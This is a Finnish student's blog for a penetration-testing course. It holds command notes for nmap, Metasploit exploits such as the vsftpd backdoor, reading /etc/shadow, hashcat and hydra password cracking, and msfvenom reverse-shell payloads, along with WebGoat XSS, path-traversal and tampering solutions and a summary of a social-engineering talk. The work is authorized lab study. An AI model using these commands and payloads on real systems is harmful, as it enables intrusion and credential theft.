Tuntimuistiinpanoja labraharjoitusta varten

Dumppaan taas kaikki muistiinpanoni tänne, että voin tarpeen vaatiessa hyödyntää niitä huomenna labraharjoitusta tehdessäni.

mitmproxy -p 8088 <-- avaa mitmproxyn porttiin 8088
 set filter =~m post <-- etsii post-pyynnöt <-- hotkey f?
 m <- merkkaa
 shift + m <-- piilota kaikki muut paitsi merkatut
 e <-- edit
 r <-- resend
 shift f <-- following
 set intercept =jokujuttu <-- interceptaa liikenteen joka sisältää jonkunjutun <-- hotkey i

 systemctl restart docker

manuaalista haku kauttaviiva hakusana
 man nmap|grep -i ping| less
 man nmap|grep -C 6 -i stealth
 nmap (-vvv) 10.10.10.140 <-- -vvv verbose
 jos lukee "not shown: 998 closed ports" -> ei ilmeisesti palomuuria
 -n <- yksityisellä ip:llä ei ole julkista nimeä (nimipalvelin ei vastaa) -> voi käyttää -n -> nmap
 ei yritä selvittää nimeä
 time komennon eteen niin näkyy käytetty aika
 nmap -sV <- banner grabbing, mitä palveluita porteista löytyy
 alt + . <- kopioi viimeisen pyynnön parametrin (esim ip, helppo välttää typot)
 nmap -A <- käyttöjärjestelmästä tietoja (about all)
 nmap -sC (ajaa jotkut skriptit??)
 nmap -oA foo <- tallentaa outputit tiedostoihin, joista voi grepata helposti varsinkin .gnmap-tiedostosta
 /nmapped# grep -ir --color apache
 nmap -T3 normaali nopeus -T4 nopeampi ja aggressiivisempi, käytön kanssa pitää olla varovaisempi
 nmap -sU <- tarkistaa UDP:tä, voi sisältää esim DNS:än 
 --top-ports 10 <-- valkkaa vaan 10 yleisintä porttia ja tarkastaa ne, nopeuttaa hakua
 time nmap -sn -n 10.10.10.1-254 -p 80,443
 time nmap 10.10.10.1-254 -vvv -sS -n -Pn -sV -p 80,443 -oA allhttp
 ---- metasploit -----
 msfdb init
 msfconsole
 db_nmap -A -n -vvv 10.10.10.1-254         172.28.128.0/24
 hosts
 services --up
 -p 80,443
 eyewitnessille tiedoston koko polku
 services --up -p 80,443 -R <- laittaa hostsit tiedostoon
 eyewitness -f /url/jonka/ylempi/komento/antaa --web --prepend-https <-- kasaa raportin jossa screenshotit sivuilta
     jos tulee timeout paina enteriä, lukee hostsit siis luodusta tiedostosta

honeynet.org <-honeypot-blogi
 vagrant init
 nano Vagrantfile
 A very vulnerable target computer, package by my student Toni
 Vagrant.configure("2") do |config|
 config.vm.box = "tonijaaskelainen/ms2"
 config.vm.network "private_network", :type => 'dhcp', :adapter => 1
 end
 vagrant up
 ip route
 msfconsole
 hosts -d 10.10.10.* <- deletoi annetut hostit
 db_nmap -A -vvv 172.28.128.0/24
 service postgresql start
 systemctl start postgresql
 hosts
 services --up
 search vsft
 use exploit/unix/ftp/vsftpd_234_backdoor
 options
 set RHOSTS 172.28.128.3
 options
 run
 toivo parasta
 python -c "import pty; pty.spawn('/bin/bash')" // voi olla myös python3
 man foobar | grep hakusana
 use post/multi/manage/shell_to_meterpreter
 sessions
 exploit
 sessions
 sessions 3
 cat /etc/shadow
 
 tarkasta, onko tiedostossa jotain epäilyttävää
 file tiedosto <- kertoo tiedostomuodon
 strings tiedosto <- näyttää tiedoston sisältöä tekstimuodossa
 ghidra-ohjelma <- syötä binääri, saa deobfuskoitua c:tä
 
 youtubesta
 rsa conference 2019
 disobey 2019
 black hat (käyttäjä)


echo -n 'noora' |md5sum -> 5266727ad9bb665e790070bfb4154640
 hashcat --force --show 5266727ad9bb665e790070bfb4154640 sanalista.txt
 echo -n 'noora' |sha512sum / sha256sum / sha384sum / sha1sum
 echo -n 'peruna'|md5sum|tee -a hashes
 echo -n 'turo'|md5sum|tee -a hashes
 echo -n 'network'|md5sum|tee -a hashes
 echo -n '12345'|md5sum|tee -a hashes
 echo -n 'love'|md5sum|tee -a hashes
 echo -n 'password1'|md5sum|tee -a hashes
 hashcat hashes --force sanalista.txt --show
 cp /usr/share/wordlists/rockyou.txt.gz
 gunzip rockyou.txt.gz
 hashcat hashes --force sanalista.txt -o cracked
 hashes-tiedostossa yllättäen hashit
 sanalistassa sanat selkokielisenä
 cracked-tiedostoon tulee murretut salasanat
 
 tarkasta ipcalcilla että private internet ja hoppien määrä
 alt + . <- kopioi edellinen ip-osoite
 
 hydra
 nano users
 hydra -L users -P sanalista.txt ssh://[ip-osoite] -t 4 -I -V
             ftp://[ip-osoite/portti]
 hydra -l username -P /root/Desktop/Test.txt url.zz.za http-post-form "/portal/xlogin/:ed=^USER^&pw=^PASS^:S=302"
 hydra -l noora -P sanalista.txt ssh://127.0.0.1¨
 meterpreter hashdump kerää hashit
 
 msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o payload.elf
 msfvenom -p windows mitäikinä/x64/meterpreter/reverse_tcp -f exe -o payload.exe
 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 -f elf -o payload.elf
 msf5 > use exploit/multi/handler
 msf5 > options
 msf5 >    set LHOST 127.0.0.1
 msf5 > options

Mainokset

Lisää WebGoat:ia

Bypass business layer access control

Tätä tehtävää varten vaihdoin mitmproxyn Burp suiten proxyyn sen kätevämmän intercept-toiminnon takia. Asetin ensin asetukseni seuraavalla tavalla, ylempänä selaimen Foxyproxy ja alempana Burpin asetukset.

Sitten itse tehtävä. Vaihdoin siis ViewProfilen vain DeleteProfileksi, ja taso oli sillä selvä.

Bypass data level access control

Vaihdoin vain employee_id:n toiseen olemassaolevaan id:hen ja toisen työntekijän tiedot tulivat näkyviin:

DOM Injection

Tässä kohdassa en tehnyt mitään muuta kuin että otin kohdan ”disabled=””” kokonaan pois, jonka seurauksena nappula muuttui painettavaksi. En tosin ole ihan varma, oliko tämäntyyppinen lähestymistapa se mitä tässä haettiin.

XML Injection

Tässä tehtävässä lisäilin omia valintakenttiä valitsemalla inspectorista edit as HTML. Ensimmäisten tuotteiden input-nimet olivat 1001, 1002 ja 1003, joten oletin, että kalliimmat tuotteet olisivat 1004 ja 1005.

DOM-Based cross-site scripting

Taso yksi: syötin kenttään <IMG SRC=”images/logos/owasp.jpg”/>

Taso kaksi: syötin kenttään <img src=x onerror=;;alert(’XSS’) />

Taso kolme: syötin kenttään 

Taso neljä: syötin kenttään ”Please enter your password:<BR><input type = ”password” name=”pass”/><button onClick=”javascript:alert(’I have your password: ’ + pass.value);”>Submit</button><BR><BR><BR><BR><BR><BR><BR><BR> <BR><BR><BR><BR><BR><BR><BR><BR>”

JSON Injection

Tämäkin hoitui kätevästi kalliimman lennon hintakohtaa muokkaamalla ennen lomakkeen lähetystä.

Disobey-video ja HackTheBox-yritys

Kurssin tehtävät löytyvät alkuperäisestä yhteydestään Tero Karvisen kotisivuilta.

h5.
a) Konfferenssi kotona. Katso jokin esitys pentest-aiheisesta konfferenssista ja kommentoi sen parhaita paloja. Esim. Disobey, RSA, BlackHat…
b) Metasploitable. Korkkaa jokin uusi palvelu Metasploitablesta (jokin muu kuin vsftpd). Voit käyttää Metasploitable 2 tai 3.
c) HackTheBox, korkkaa jokin kone. 

a)

Tarkoituksenani on jo aiemminkin ollut katsoa videoita Disobeystä, joten lähdin hakemaan Youtubesta siellä pidettyjä esityksiä ja päädyin valitsemaan seuraavan videon:

Olen hyvin kiinnostunut psykologiasta ja olen opiskellutkin sitä sekä muutamia kursseja avoimessa yliopistossa että itsenäisesti parin vuoden aikana kun pyrin opiskelemaan sitä Helsingin Yliopistoon. Eli mikäli asiat olisivat menneet toisin, olisinkin tällä hetkellä psykologian opiskelija, enkä tietotekniikan. Tämä video siis kiinnitti heti huomioni, ja puhujan alussa toteama kommentti ”it’s really hard to run software upgrades to your brain” vakuutti minut siitä, että olin tehnyt hyvän videovalinnan.

Sivuhuomiona on mainittava, että alussa jouduin hieman harhautumaan videon katsomisesta, sillä Disobey-videoissa käytettävä introkappale oli minulle äärimmäisen tuttu, enkä saanut heti päähäni, mikä se oli. Tiesin kyllä, että kyseinen kappale löytyisi joltakin omista soittolistoistani, ja pienen etsinnän jälkeen löysinkin sen. Kyseessä on siis Porter Robinsonin Spitfire.

Seuraavana muutamia videosta keräämiäni pointteja:

- kaikilla järjestelmillä on käyttäjiä, ja käyttäjät ovat manipuloitavissa
- käyttäjillä on monesti laajempi pääsy jaettuihin levyihin kuin mitä tarvitsisi
- järjestelmät muuttuvat paljonkin, ihmiset eivät juurikaan
- ihmiset eivät ajattele kriittisesti jos heillä on kiire
- central route to persuasion, tätä suostuttelutapaa voi käyttää esimjos yrittää myydä jotain oikeaa kohdetta
- peripheral route to persuasion, tätä käytetään kun yritetään myydä jotain, mitä ei ole olemassa, kiertää asian ydintä ja vetoaa muihin tekijöihin
- voidaan hyödyntää vahvoja tunteita, esim pelko
- ihmiset tottelevat auktoriteetteja
- scarcity (esim vain 2 tuntia aikaa saada tunnukset takaisin)
- liking and similarity (ihmiset ovat vastaanottavaisempia jos huijaava taho ottaa esiin samankaltaisuuksia ja on miellyttävä)
- social debt (jos saa palveluksen, antaa palveluksen vastapuolelle herkemmin)
- commitment (jos jotain lupaa, sen myös tekee vaikka ei haluaisi)
- social proof (keinotekoisia arvosteluja "oikealta" ihmiseltä)
- ihmiset vuodattavat omaa elämäänsä sosiaaliseen mediaan, ja tämä mahdollistaa tiedonkeruun esimerkiksi yrityksiin liittyen
- ihmisen huijaamiseen liittyviä tekniikoita ovat mm. phishing, subscription scam, advance fee fraud (esim. nigerian scam)
- ihmiset haluavat vain saada työnsä tehtyä ja ärsyyntyvät siitä, että heidän pitää käyttää tietokonetta
- varoitukset annetaan geneerisellä termeillä, joita perehtymättömät eivät ymmärrä (luota vain turvallisiin sivuihin, mikä on turvallinen?)
- ihmiset eivät pysähdy ajattelemaan huijausviestejä jos heille tulee emotionaalinen reaktio niihin
- ihmiset eivät tiedä domaineista niin, että he tietäisivät esim. mikä on top level domain
- ceo fraud, jos auktoriteetti pyytää henkilökohtaista palvelusta ja sanoo esim "tiedän, että sinuun voi luottaa" työntekijä saattaa helpommin tehdä mitä käsketään
- ihmiset innostuvat jos luulevat olevansa onnekkaita
- ensimmäinen nigeriatyyppinen huijaus 1700-luvulta!
- nigeriahuijaukseen valikoituvat automaattisesti sopivat kohteet

- financial scam, pieni alkuinvestointi, rikkaudet odottavat tulevaisuudessa! rahoja ei saa oikeasti ulos, uhrit ilmeisesti enimmäkseen miehiä

- romance scam, kohdistetaan yksinäisiin ihmisiin ja saadaan heidät tekemään asioita suhteen ja rakkauden toivossa, traaginen tarina yleensä mukana
- uhrit uskovat huijaavaan tahoon, koska luottamussuhde on muodostunut hitaasti ja tunteet ovat pelissä eivätkä ihmiset halua uskoa että heidän rakastamansa henkilö ei olisi olemassa
- uhrit yleensä keski-ikäisiä koulutettuja naisia, jotka ovat impulsiivisempisia, luotettavia, mutta eivät erityisen kilttejä. ovat myös helpommin addiktoituvia

suojautumisneuvoja ihmisille, jotka eivät ole tekniikkaorientoituneita:
- huijauksilta voi suojautua sillä, että ei luota omiin liskoaivoihinsa, esim mitä tulee esim. kiireeseen tai onnekkuuteen
- pitää olla skeptinen

"you should see the internet as the endless wasteland of crap that is actually is"

- ihmiset eivät välttämättä ilmoita huijauksista esim IT-osastolle, jos heidät saadaan tuntemaan olonsa tyhmäksi IT-velhojen toimesta
- esim jokin yksinkertainen raportointimenetelmä, joka ei vaadi juuri mitään, voi auttaa, ja ihmisille ei aiheudu mitään negatiivista seurausta

"... maybe we should, after all, train users like dogs"

Mielestäni videon tärkein pointti liittyi juuri siihen, että tavallisilla ihmisillä ei välttämättä ole tarvittavia taitoja huijausten tunnistamiseen, eikä heidän voi olettaa perehtyvän kyberturvallisuuteen, mikäli se ei heitä kiinnosta. IT-piireissä vallitsee monesti ilmapiiri, jossa naureskellaan ihmisille, joilla on heikot tietotekniikkataidot, ja olen toki itsekin syyllistynyt siihen myös. Mutta mikäli tavoitteena on, että normaalit käyttäjät tunnistaisivat huijauksia eivätkä menisi halpaan, kommentit kuten ”luota vain turvallisiin sivuihin” ovat aivan yhtä tyhjän kanssa.

Itse asiassa myös oma isäni on totaalisesti haksahtanut hyvin ilmeiseen huijaukseen, joka oli juuri tyyppiä ”voit ostaa iphonen yhdellä eurolla, nyt syötä korttisi tiedot tähän että voimme veloittaa euron tililtäsi”. Toki olin äärimmäisen turhautunut kun kuulin tästä, ja varmasti sain nuhtelullani isäni tuntemaan olonsa aika tyhmäksi, mutta hänen ajattelunsa oli edennyt juuri videolla kuvailluilla reiteillä. Isäni sanoi, että hän oli iloisesti yllättynyt omasta tuuristaan, ei tullut ajatelleeksi tilanteen epäilyttävyyttä ja mietti lähinnä, kenelle hän lahjoittaisi uuden iPhonensa, sillä hänellä itsellään on jo iPhone ennestään. Ja tällaisilta tilanteilta epäilemättä voitaisiin välttyä juuri skeptisen ajattelun tärkeyttä korostamalla.

Eli toisin sanoen, tietoteknisten taitojen puuttuessa kriittisen ajattelun taitojen tärkeys korostuu entisestään. Ja tietoteknisesti valveutuneiden ihmisten pitäisi ajatella erilaisia tilanteita tietotekniikkaa osaamattomien näkökulmasta, vaikka se vaikeaa onkin.

Psykologiasta kiinnostuneena olisin kyllä kaipaillut lisää videon aiheeseen liittyviä tutkimusesimerkkejä, mutta puhuja itsekin totesi ettei hän ollut psykologian ammattilainen, ja tieteellisistä tutkimuksista puhuminen olisi voinut olla yleisölle pitkästyttävämpää.

b) / c)

Lähden tässä vaiheessa vähän yhdistelemään b)- ja c) -kohtia ja yritän korkata jonkin palvelun HackTheBoxin koneesta. Aikaisemman tutkailuni perusteella arvelin, että 10.10.10.152 -ip:ssä toimiva kone olisi hyvin haavoittuva ja kävin vielä varmistamassa asian HackTheBoxin nettiliittymästä. Kyseinen kone oli käyttäjien toimesta arvioitu helpoksi, joten aion koittaa onneani sen kanssa. Annoin ensin komennon

db_nmap -sV -sC -A 10.10.10.152

, joka antoi minulle seuraavat tiedot:

En oikein tiennyt, mitä tällä tiedolla tekisin, joten päädyin katsomaan Youtubesta erään ilmeisesti eläköityneen HackTheBox-koneen murtautumiswalkthroughta. Videolla esiintyvässä koneessa on myös avoin ftp-portti, ja videon kuvaaja käyttää hyväksi anonyymiä kirjautumista, joka minunkin kohdekoneessa on enabloituna. Yritinkin kirjautua koneelle komennolla

ftp 10.10.10.152

, kuten videolla tehtiin, mutta sain viestin, että komentoa ei tunnisteta. Latasin siis ftp-paketin komennolla

apt-get install ftp

ja kokeilin tämän jälkeen kirjautumista uudestaan. Tämän jälkeen konsoliin tulostuikin

Connected to 10.10.10.152.
220 Microsoft FTP Service

Toisin kuin videolla, ftp ei kuitenkaan kysynyt minulta login-nimeä, enkä päässyt kunnolla sisään. Päädyin menemään pois msfconsolesta ja yrittämään ftp-kirjautumista uudestaan, ja tällä kertaa onnisti paremmin, vaikkakaan en tiedä, oli onnistumisella mitään tekemistä msfconsolen kanssa.

Ajatuksenani oli seuraavaksi alkaa tutkia, mitä palvelimelta löytyy, mutta tutkimusmatkalleni tulikin loppu samantien:

Toisella kerralla pääsin hieman pidemmälle, käytin tällä kertaa salasanaa root ihan vain yrityksen vuoksi. En tiedä oliko erilainen toiminta normaalin epävakauden syytä, vai oliko root-salasana oikea tunnistautuminen, kun kehotteessa sanottiin ”send identity (e-mail name) as password”.

Joka tapauksessa pääsin sisään ja aloin tutkia, mitä sisältöä koneesta löytyy:

Kävin siis katsomassa muutaman kansion sisältöä, mutta minulla ei ollut tarvittavia oikeuksia mennä oikeasti kiinnostaviin hakemistoihin. Ftproot-kansio kuulosti houkuttelevalta, mutta siellä ei vaikuttanut olevan mitään. Todennäköisesti minun tulisi tässä vaiheessa tehdä jonkinlainen priviledge escalation, mutta en ole varma miten se tapahtuisi.

Minusta tuntuu kaikista vaikeimmalta arvioida annetuista hakuvaihtoehdoista, että mitä exploittia pitäisi käyttää. Esimerkiksi vsftpd:n tapauksessa exploittaaminen oli suhteellisen suoraviivaista, sillä hakusanalla exploitteja löytyi tasan yksi ja se oli toimiva. En kuitenkaan mielestäni tiedä riittävästi, että voisin valikoida satojen hakutulosten joukosta exploitteja, sillä usein en ymmärrä exploittien kuvauksesta juuri mitään ja suurin osa exploiteista ei vaikuta liittyvän mihinkään, mitä haluaisin tehdä.

Esimerkiksi tässä olen hakenut hakusanalla Indy httpd 18.1.37.13946. Tiedän, että uudemmat hyökkäykset ovat parempia kuin vanhat, koska niiltä ei välttämättä ole vielä keritty suojautua. Rankista voi myös päätellä, kuinka varma hyökkäys yleensä on, eli toimiiko se, ja kuinka todennäköisesti se kaataa kohdekoneen. Missään hakutuloksessa ei kuitenkaan mainita mitään käyttämästäni hakutermistä, joten en tiedä, pitääkö tästä vetää se johtopäätös ettei kyseiseen palveluun ole olemassa exploittia, vai voivatko listatut exploitit toimia myös hakemassani palvelussa vaikkei sen nimeä mainitakaan erikseen.

Haeskelin exploitteja erilaisilla hakusanoilla niin että pyrin kuitenkin keskittymään helppoon 10.10.10.152-koneeseen. Ainoa palvelu, josta löysin hieman vähemmän hakutuloksia oli portissa 135 pyörivä msrpc.

Syötin asetuksiin siis ensin oikean host ip:n ja porttinumeron ja kokeilin exploittia. Mitään ei tapahtunut, ja ajattelin että ehkä minun pitäisi jotenkin ilmaista, että kohdekone on Windows NT, minkä FTP-palvelin minulle huomaavaisesti ilmoitti kirjautumiseni yhteydessä. Saman ip:n toisessa palvelussa puhuttiin kuitenkin Windows Server 2008:sasta, joten en tiedä, mihin tässä luottaisi.

Todennäköisesti HNAME ei kuitenkaan ollut oikea eikä Exploit target -kohdassa kohdekoneen nimi muuttunut mihinkään. Itse exploit ei myöskään edelleenkään toiminut, joten aion olettaa että ehkä exploittia ei ole tarkoitettu sille järjestelmälle, johon sitä yritän käyttää tai olen muuten käsittänyt jotakin väärin.

Aion jättää yrittämisen tältä illalta tähän. Pääsin kuitenkin kirjautumaan sisälle kohdekoneen ftp-palveluun, joka oli huomattavasti parempi suoritus, kuin mihin oletin pystyväni. Seuraavien askelten yrittämiseen tarvitsisin enemmän aikaa enkä välttämättä pitkällistenkään ponnistelujen jälkeen pääsisi puusta pitkään, joten taidankin vain suosiolla mennä nukkumaan. En koe tarpeelliseksi laittaa tätä päivitystä salasanan taakse, koska jäin niin kauas mistään varsinaisesta ratkaisusta että mielestäni kukaan kiinnostunut tuskin spoilaantuu millään tavalla vaikka tämän päivityksen lukisikin.

HackTheBox-verkon tiedustelu

Kurssin tehtävät löytyvät alkuperäisestä yhteydestään Tero Karvisen kotisivuilta.

h4.
a) Hedelmiä matalalla. Mitkä vaikuttavat HackTheBoxin helpoimmilta kohteilta? Tiedustele HackTheBox-verkko esimerkiksi porttiskannerilla ja ryömijällä. Noudata Rules-kohdassa annettua scopea.
b) Bonus: murtaudu jollekin HackTheBoxin maalikoneelle. Voit katsoa weppiliittymästä vinkkiä siitä, mitkä koneet ovat helppoja.
Kun raportoit HackTheBoxin ratkaisuja, laita raportit yhteisen salasanan taakse, ettemme pilaa kilpailua. Muut jutut voi julkaista normaalisti, kunhan viittaat lähteisiin. 

a)

HackTheBox -sivuston tarkoitus on tarjota tunkeutumistestauksesta kiinnostuneille henkilöille mahdollisuus kartoittaa ja vahvistaa omia murtautumistaitojaan. HackTheBox tarjoaa harjoitteluun verkon, joka sisältää viikoittain vaihtuvia haavoittuvia koneita.

HackTheBoxiin rekisteröitymiseen tarvitaan koodi, jonka saa selville vain hakkeroimalla. Rekisteröitymisen jälkeen sivustolta ladataan yhteyspaketti, jonka avulla voidaan OpenVPN:llä muodostaa yhteys HackTheBoxin verkkoon.

Yhteyden muodostettuani loin itselleni uuden hakemiston, jonka sisällä annoin komennon

msfdb init

, joka luo tietokannan Metasploitablea varten, johon kohdeverkon skannauksesta saadut tiedot tallentuvat. Tämän jälkeen otin käyttöön Metasploitin konsolin komennolla

msfconsole

ja aloitin HackTheBox-verkon skannaamisen Nmapin avulla:

db_nmap -A -n -vvv 10.10.10.1-254

Nmap käyttää komennoissaan vaikka minkälaisia lippuja, ja antamassani komennossa itse hyödynsin A:ta, n:ää ja vvv:tä. Näistä A tarkoittaa, että haluan kerätä verkosta tietoja yleisesti, eli tämä komento tutkii monia eri asioita, esimerkiksi mitä avoimia portteja löydetään, mitä palveluja niissä pyörii ja mitkä niiden versiot ovat. Ilmeisesti A on myös aggressivisempi hakuvaihtoehto muihin verrattuna. N-lippu tarkoittaa, että nimipalvelukyselyitä ei tehdä. Kohdeverkko on HackTheBoxin sisäinen verkko, joten nimipalvelukyselyistä ei tulisi mitään tuloksia, ja ne hidastaisivat kyselyä turhaan. Skannaus kestää myös sen verran kauan, että on hyödyllistä nähdä, mikä vaihe kulloinkin on menossa, ja -vvv auttaa tässä. Lopussa olen määritellyt kohdeverkon ip-osoitteet, johon skannaus suunnataan. Porttiskannaushan siis on normaaleissa olosuhteissa laitonta ja sitä ei kannata todellakaan kohdistaa mihinkään muualle kuin luvallisiin harjoitusverkkoihin, joten kannattaa olla äärimmäisen huolellinen ip-osoitetta kirjoittaessa.

Jostain syystä itselläni haku jumittui niin, että vaikka kyseisen hakuvaiheen piti Nmapin mukaan olla 99.99% tehty, haku ei enää edennyt pitkähköstä odottelusta huolimatta mihinkään. Muistaakseni minulla kävi myös koulussa vastaavalla tavalla, mutta pitkän odottelun jälkeen haku lopulta meni eteenpäin.

Tällä kertaa katkaisin haun ja yritin varmistua siitä, että haussani ei ole mitään erityistä vikaa kokeilemalla skannausta pelkästään yhdelle hostille. Tämä toimi aivan normaalisti. Kaveri antoi vinkin, että kannattaa vaihtaa -A -lippu esimerkiksi -sV:hen haun nopeuttamiseksi, joten kokeilin sitä seuraavaksi. -sV etsii avoimista porteista löytyviä palveluita ja niiden versioita, mikä onkin juuri sitä tietoa, mitä haluan.

Myös -sV -lipulla varustettu haku kesti niin kauan että uskoni meinasi loppua, mutta lopulta haku meni läpi. Epäilen, että hakujen hitaudella saattaa olla jotain tekemistä oman hitaan nettiyhteyteni kanssa.

Nyt kun skannauksen tulokset ovat tallentuneet tietokantaan, voidaan niitä tarkastella erilaisilla hakusanoilla. Esimerkiksi hosts-komento tulostaa verkossa olleet aktiiviset koneet ja mahdollisuuksien mukaan niiden käyttöjärjestelmät. Avoimissa porteissa pyörivät palvelut listaa services –up -komento, jonka tuloste minun tapauksessani näyttää tältä:

Tunneilla puhuttiin siitä, että ilmeisesti esimerkiksi hostin 10.10.10.131 portissa 21 pyörivä vsftpd olisi haavoittuva ilmeisesti vanhuutensa puolesta. Muistaakseni myös tässä 10.10.10.152 -hostilla oleva Indy httpd bandwith monitor nousi esille keskustelussa. Muutamalla koneella näyttää pyörivän myös Node.js:ään liittyviä palveluita, ja Node.js on nopean päivittymisensä takia altis uusille hyökkäyksille.

Pelkästään silmämääräisesti arvoimalla on omalla tietoudellani hieman vaikeaa sanoa, mitkä palvelut olisivat haavoittuvampia kuin toiset. Haavoittuvimpien kohteiden selvittäminen käy kuitenkin helposti Metasploitin avulla. Metasploitille voi antaa komennon search, johon voi liittää esimerkiksi jonkin yllämainittujen palvelujen nimen. Metasploit hakee tällöin kyseiseen palveluun suunnattuja exploitteja.

Tarkemmalla tarkastelulla silmääni osui koneessa 10.10.10.152 pyörivä Windows Server 2008, jonka ikänsä puolesta luulisi olevan hyvin haavoittuvainen kohde. Ja toden totta, Metasploitista löytyykin 2283 siihen löytyvää exploittia. Tunnilla kokeilimme nimenomaan vsftpd-haavoittuvuuden hyödyntämistä, ja tämä vaikutti helpolta, sillä löytyneelle vsftpd-versiolle oli olemassa tasan yksi erinoimainen exploitti, joten valinnanvaikeutta ei varsinaisesti ollut. Itselleni on kuitenkin hieman vaikeaa suodattaa sadoista vaihtoehdoista ne, jotka saattaisivat todennäköisimmin toimia kohdekonetta vastaan.

Seuraavissa tehtävissä tulee esille uudestaan Metasploit exploittien käyttö ja HackTheBox-koneeseen murtautuminen, joten jatkan kirjoitusta seuraavassa päivityksessä.

WebGoat, OWASP10 & MITRE Att&ck

Kurssin tehtävät löytyvät alkuperäisestä yhteydestään Tero Karvisen kotisivuilta.

h2
a) Ratkaise jokin WebGoatin tehtävä. Hyödynsitkö jotain OWASP10 -haavoittuvuutta? Mitä niistä?
b) Mainitse esimerkki MITRE:n Att&ck tekniikasta, joka soveltuu weppiin. Osaatko antaa esimerkin hyökkäyksestä tai haittaohjelmasta, jossa sitä on käytetty? 

a)

Ensin laitoin WebGoatin pyörimään Tero Karvisen ohjeita noudattaen. Ohjeet ovat Ubuntulle, mutta Kalia käyttäessä en tarvitse komentoihin sudoa, sillä Kalia käytetään yleensä root-käyttäjänä.

Laitoin myös Mitmproxyn päälle porttiin 8088 ja ohjasin WebGoatin liikenteen sinne. Valitsin tehtäväksi ”Bypass a Path Based Access Control Scheme”, joten en kuitenkaan Mitmproxya tarvinnut, vaan selvisin pelkällä selaimella.

Tehtävän ideana on siis tarkastella jotain sellaista tiedostoa, johon minulla ei tulisi olla pääsyä. WebGoat ehdottaa, että kiinnostava tiedosto tarkasteluun olisi WEB-INF -hakemistosta löytyvä spring-security.xml.

Sivulla on valikko, johon on listattu erilaisia tiedostoja, jotka kaikki löytyvät samasta hakemistosta. WEB-INF -kansio on kuitenkin tämänhetkistä kansiotamme huomattavasti ylempänä. Lähdin muokkaamaan ylimmän valinnan value-arvoa saadakseni sivuston avaamaan tiedoston eri hakemistosta. Ensin menin muutaman kansion liikaa ylöspäin, jolloin sain WebGoatilta viestin, että olen oikeilla jäljillä. Tässä vihjeviestissä myös suoraan sanottiin WEB-INF:in löytyvän WebGoat-kansiosta. Tiesin siis, että minun pitää laittaa tiedostopolkuun ”../../../../../WEB-INF/spring-security.xml”. ”../” polussa tarkoittaa siis, että noustaan senhetkistä hakemistoa yhtä hakemistoa ylemmäksi. En-kansiossa ilmoitettavassa polussa piti siis olla viisi kertaa ”../”, että tiedot poimittaisiin WebGoat-kansiosta. Painettuani View File -nappulaa, sain WebGoatilta onnistumisesta kertovan viestin sivulle:

 * Congratulations! Access to file allowed. ==> /.extract/webapps/WebGoat/WEB-INF/spring-security.xml 

OWASP-lyhenne tulee sanoista Open Web Application Security Project, ja tämän organisaation ehkä tunnetuin projekti on OWASP10, eli raportti, jossa käydään läpi 10 web-applikaatioiden kriittisintä turvallisuusriskiä.

Viimeisin OWASP10-raportti on vuodelta 2017, ja siinä esitetty top 10 -lista on seuraavanlainen:

Mielestäni valitsemani tehtävä liittyi näistä kohdista eniten kohtaan 5: Broken Access Control, sillä vaikka guest-käyttäjällä piti olla oikeus tarkastella vain lessonPlans/en -kansion sisältöä, sain silti helposti kaivettua esiin tiedoston aivan toisesta hakemistosta.

b)

Mitre Att&ck on viitekehys, jonka tavoite on auttaa turvallisuudesta kiinnostuneita ymmärtämään esimerkiksi hakkerien käyttämiä tekniikoita. Eräs nettiin sopiva hyökkäystekniikka on spearphishing link, eli esimerkiksi jollekin tietylle taholle (yksilö, yhtiö tai toimiala) suunnattu sähköposti, jonka mukana tulee haitallinen linkki. Mikäli viestin vastaanottaja avaa kyseisen linkin, hän altistuu haitalliselle ohjelmalle, joka saattaa esimerkiksi kerätä hänen tietojaan tai käyttää kohteen käyttämää järjestelmää hyväksi. Linkkien käytöllä yritetään kiertää ne turvallisuusmenetelmät, jotka tarkastavat sähköpostien liitetiedostot haitallisen sisällön varalta.

Mitre Att&ckin sivulla on kätevästi listattu eri tahojen tekemiä hyökkäyksiä, joissa on hyödynnetty spearphishing-linkkejä. Lista on melko pitkä ja sisältää toimijoita mm. Lähi-idän alueelta, Kiinasta, ja Venäjältä. Eräs tiettävästi Pohjois-Korealainen ryhmä Stolen Pencil on hyökännyt lähinnä akateemisia instituutioita vastaan, eivätkä ryhmän motiivit ole ilmeisesti tiedossa.

Spearphishingiä Stolen Pencil käytti vuonna 2018 lähettäessään hyökkäyskohteillensa sähköposteja, jotka sisälsivät Stolen Pencilin hallinnassa olevalle sivulle johtavia linkkejä. Sivulla oli houkutteleva dokumentti, ja käyttäjää pyydettiin asentamaan haitallinen Google Chrome -laajennus. Saatuaan jalansijan kohdejärjestelmiin Stolen Pencil varmisti persistentin pääsyn järjestelmiin hyödyntämällä Remote Desktop -protokollaa. (Lähde)

Kali -livetikun tekeminen ja CTF walkthrough

Kurssin tehtävät löytyvät alkuperäisestä yhteydestään Tero Karvisen kotisivuilta.

h1.
a) CTF walktrough. Katso verkosta (esim Youtubesta) jonkin capture the flag -kilpailun ratkaisu. Mitä uusia työkaluja opit? Kokeile jotain mainittua työkalua (tarvittaessa koneella, joka ei ole kiinni Internetissä).
b) Kali Live USB. Tee Kali Live USB -tikku. Kokele, että se käynnistyy. Vinkki: käytä USB3-tikkua ja dd:tä. Olet tarkkana, mitä laitat of= kohtaan, ettet kirjoita kovalevysi päälle. 

a)

Tähän tehtävään liittyvän CTF-videon katsomisen teinkin jo maanantaina, ja päädyin katsomaan saman videon kuin moni muukin ryhmästämme, sillä se on ensimmäinen hakutulos, jota Youtube tarjoaa CTF walkthrough -hakusanalla.

Videolla käytettyjä työkaluja ovat Nmap (kohdekoneen porttien ja niistä löytyvien palveluiden skannaamiseen), DirBuster (palvelimella olevien hakemistojen etsimiseen) ja malicious-wordpress-plugin (session luomiseen kohdekoneelle). Kun koneeseen oli murtauduttu, Metasploit:ia ja Meterpreteriä käyttämällä saatiin ladattua koneelta tietoja ja syötettyä koneelle käyttöoikeuksien laajentamiseen suunniteltu skripti ja ajettua se. Käyttöoikeuksien korotuksen jälkeen saatiin vaihdettua root-käyttäjän salasana. OpenSSL-ohjelmalla saatiin enkryptattua selväkielinen salasana sellaiseen muotoon, että salasana voitiin sijoittaa salasanatiedostoon, jolla korvattiin vanha vastaava tiedosto.

Videolla esiintyneistä tekniikoista tulen käyttämään ainakin Nmap:ia, Metasploit:ia ja Meterpreteriä seuraavissa harjoituksissa, joten en raportoi niiden käyttöä tässä tehtävässä.

b)

